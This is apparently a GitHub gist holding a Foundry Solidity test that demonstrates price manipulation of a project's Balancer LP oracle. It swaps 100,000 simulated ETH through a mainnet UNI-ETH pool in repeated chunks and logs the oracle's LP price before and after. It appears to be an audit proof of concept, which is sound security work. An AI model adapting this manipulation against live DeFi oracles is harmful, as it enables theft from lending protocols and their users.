-
-
Save bahurum/67ef6ea9ea820108844b320c977a3c34 to your computer and use it in GitHub Desktop.
Test for Balancer LP Fair Price Manipulation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: UNLICENSED | |
| pragma solidity ^0.8.13; | |
| import "forge-std/Test.sol"; | |
| import "../contracts/protocol/oracles/BalancerOracle.sol"; | |
| enum SwapKind { GIVEN_IN, GIVEN_OUT } | |
| struct FundManagement { | |
| address sender; | |
| bool fromInternalBalance; | |
| address payable recipient; | |
| bool toInternalBalance; | |
| } | |
| struct SingleSwap { | |
| bytes32 poolId; | |
| SwapKind kind; | |
| address assetIn; | |
| address assetOut; | |
| uint256 amount; | |
| bytes userData; | |
| } | |
| // Define Vault Interface | |
| interface IBalancerVault { | |
| function swap(SingleSwap memory singleSwap, | |
| FundManagement memory funds, | |
| uint256 limit, | |
| uint256 deadline) external returns (uint256 amountCalculated); | |
| } | |
| interface IWETH9 is IERC20{ | |
| /// @notice Deposit ether to get wrapped ether | |
| function deposit() external payable; | |
| } | |
| contract BalancerLPTest is Test { | |
| function setUp() public { | |
| } | |
| function testManip() public { | |
| address pool = 0x5Aa90c7362ea46b3cbFBD7F01EA5Ca69C98Fef1c; //UNI-ETH pool on mainnet | |
| uint UNI_price = 5.15*1e8; // UNI-USDC chainlink price | |
| uint ETH_price = 1800*1e8; // ETH-USDC chainlink price | |
| console.log("Mainnet block:", block.number); | |
| uint256[] memory prices = new uint256[](2); | |
| prices[0] = UNI_price; | |
| prices[1] = ETH_price; | |
| // direct LP price calcuation | |
| bytes32 pool_id = IBalancer(pool).getPoolId(); | |
| IVault balancer_vault = IBalancer(pool).getVault(); | |
| (IERC20[] memory tokens, uint256[] memory balances, ) = | |
| balancer_vault.getPoolTokens(pool_id); | |
| uint totPoolUSDCvalue = UNI_price*balances[0]/1e18 + ETH_price*balances[1]/1e18; | |
| uint LPprice = totPoolUSDCvalue*(10**IBalancer(pool).decimals())/IBalancer(pool).totalSupply(); | |
| console.log("LP expected price:", LPprice); | |
| // use Balancer Oracle to get LP price | |
| uint LPoraclePrice = BalancerOracle.get_lp_price(pool, prices, 0, true); | |
| console.log("LP oracle price before manipulation:", LPoraclePrice); | |
| // Swap 100_000 ETH on pool | |
| uint amount = 1e5*1e18; | |
| vm.deal(address(this), amount); | |
| IWETH9(address(tokens[1])).deposit{value:1e5*1e18}(); | |
| IWETH9(address(tokens[1])).approve(address(balancer_vault), amount); | |
| // 1. Swap WETH for UNI | |
| FundManagement memory funds = FundManagement( | |
| { | |
| sender: address(this), | |
| fromInternalBalance: false, | |
| recipient: payable(address(this)), | |
| toInternalBalance: false | |
| } | |
| ); | |
| bytes memory userData; | |
| SingleSwap memory singleSwap = SingleSwap( | |
| { | |
| poolId: pool_id, | |
| kind: SwapKind(0), | |
| assetIn: address(tokens[1]), | |
| assetOut: address(tokens[0]), | |
| amount: amount, | |
| userData: userData | |
| } | |
| ); | |
| while (true) { // do multiple swaps because balancer limit swap amount to 30% of reserves | |
| (, balances, ) = balancer_vault.getPoolTokens(pool_id); | |
| amount = balances[1]*3/10; // maximum that can be swapped due to balancer limits | |
| if (IWETH9(address(tokens[1])).balanceOf(address(this)) < amount) break; | |
| singleSwap.amount = amount; | |
| IBalancerVault(address(balancer_vault)).swap(singleSwap, | |
| funds, | |
| 0, | |
| block.timestamp + 1); | |
| } | |
| LPoraclePrice = BalancerOracle.get_lp_price(pool, prices, 0, true); | |
| console.log("LP oracle price after manipulation:", LPoraclePrice); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment